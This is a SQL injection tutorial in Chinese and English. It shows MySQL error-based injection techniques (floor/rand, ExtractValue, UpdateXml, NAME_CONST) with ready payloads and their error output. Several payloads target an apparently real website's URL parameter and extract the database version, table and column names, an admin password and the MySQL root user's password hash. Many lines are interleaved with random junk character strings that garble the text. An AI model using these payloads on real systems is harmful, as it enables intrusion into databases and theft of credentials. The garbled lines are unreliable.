mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
: B9 a. y3 i+ |( U4 k| id | title | content |
+—-+——-+———+
$ r) e* p. O5 S8 s( X( ]* l|  1 | test  | do it   |
4 D" w5 [1 @" b+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
/ Y) p3 w  V2 V, \( FERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
0 [) b! ~9 V# ^& o/ w+ r例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
; K- G! S( B, i3 J6 d# q% m测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
/ o/ u2 [4 y' H: e8 U% o. hERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

# i+ Y) n4 R# r  D
' o8 u! |8 w9 d0 ?+ k  Z1 {$ o

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
' A8 Q- _+ C. v2 d
3 e7 S  H7 `6 |, E+ KErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

- E6 L5 ]# O! G, H0 f3 Whttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

: Y' c% d5 j: O6 _Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
% l& m- X5 ~# ~' `

( ?! F0 x. d" ^! ?' G相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

2 O# {" g7 j( ]% v/ y, r4 {; [Code:
/ }4 }# }$ @) c( {$ D, rNAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
) u" z. `& B$ z- q6 \4 k, v+ q& Q
SELECT NAME_CONST('TEST', 1)

8 G, S7 c' u! i# x# `+ h

( j: n' i/ Z- |+ v* T0 O- K|---------------|
|     TEST      |
|               |
: S7 I9 d0 r$ a: }, a; Y* I|---------------|
1 L7 m5 }$ }; {/ {! H! W; h$ W|       1       |
|               |
/ f9 A) @  `, B) H0 `1 r  @! Q|---------------|



( ]3 d- T5 Q: c8 Y0 `; c9 U+ N
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
+ S  e* G; T( I1 b8 E! GIntro to MySQL Variables

7 t( W! y1 u" Y2 S- G+ X2 ~" NOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
& ]# P# G/ h# }9 [) g' I
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261

  R& w$ X! Z7 D% u
4 p' b) o" L+ }4 A6 [' Q/ h
* b* M2 Z& Y$ t- k5 C% `4 B' Y
$ g" o1 L7 A: N0 p5 T0 v
; D0 y8 O/ ~- o( UCode:
5 I0 h, p" J- {, F* b  M( V6 H  Sand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
! C, ?2 N" V8 n
7 }  k  G4 t, R/ @! T# K8 H
: `, F7 D/ `9 M% d1 X2 s0 `# KVAR = Your MySQL variable.
& F* o3 ~( V) X8 l# X+ ~' l& D! j/ o
& {7 @/ T3 ~% M. d2 v2 |MySQL 5.1.3 Server System Variables
3 E- ~( W+ i% I1 z
1 S! W7 j: d/ [0 p( r$ OLet's try it out on my site..
+ d( f# [6 Z( M& q8 F2 M. \9 y: A
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
/ s% w; N  k4 t0 `0 b
Erroruplicate column name '5.0.27-community-nt'
9 N( R; N# N8 }. j: T3 D6 A# J

" j7 ?* F7 W/ b# s) E1 [1 }, x
( @. Y; C& M6 Q" w' M" Q5 i
0 U5 Y2 d0 u2 {0 z& S$ ?& w( o/ }
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
8 z: A' Z- Q1 f
Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


We should get a duplicate column 1 error...

, R+ _/ `7 m0 mCode:
8 t) J' H% K# M# c1 P7 O, nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
; M; W2 p# M2 L
# z/ ~/ @/ A( E+ N) [Erroruplicate column name '1
( T! c" N. H) h0 e) S% M
7 ^& D: W& \' Q4 Z8 T- n2 ]" p
2 A7 N2 X3 X# h; q9 g



Now let's get the tables out this bitch..

Code:
5 o# T* [0 g* q+ V$ `+ L6 M' T# [+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

' m4 G! K' t7 W% i8 g$ i$ ?0 p3 w6 ^
Let's see if it works here, if it does, we can go on and finish the job.

4 y2 ~6 G- d( G' H$ UCode:
' {  R! Z8 p) g) Mhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

9 k6 @$ [, }) O) [
- v. D5 y  L# r+ `4 [Erroruplicate column name 'com_admanage
; T+ u. i) u* w: F! u: k; j, ~
, r9 C- i/ h% h& @( ~
- n% y, ]2 s! R; k



, V- O( J& Y/ ENow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
+ t' S6 d/ W+ R$ b3 }7 ^
Let's get the columns out of the user table..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

, `+ L$ ]5 {2 ^! [/ {$ Z
% M7 V4 }# M; R- hSo mine looks like this, and I get the duplicate column name 'Host'.
+ e3 h# c( y+ m, {, m5 E4 }
$ X4 f) ^3 U2 I* p! KCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
2 {5 R# |; h9 ^4 H
+ R$ b% |0 D) g' m5 J
2 ], `6 m: ]$ n1 @* E# @! N+ x
4 B3 z/ F2 B. x9 M2 j& v* o
9 Z; Y, ]$ D! R: }0 H4 I# ]! v
; _+ V! U! _5 t. l1 g
Woot, time to finish this bitch off.

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

* ^8 u/ }! Z+ L
So mine looks like this...
; s3 n+ A$ z& {. n0 ]
) m8 W7 o3 e0 ECode:
! G$ [8 G& }( F7 qhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
- c. M" `' i5 N, `
) k+ @! K, ^2 B3 g9 R" WErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
& S& y/ S' i' {

  s5 I& E8 h7 F/ C* n  a! `1 G
' ~+ M3 P6 d; s% V4 U, J) {
" K5 F) C# X2 e: d& S6 F. P

And there we have it, thanks for reading.

! E% s6 l# L( f" k: e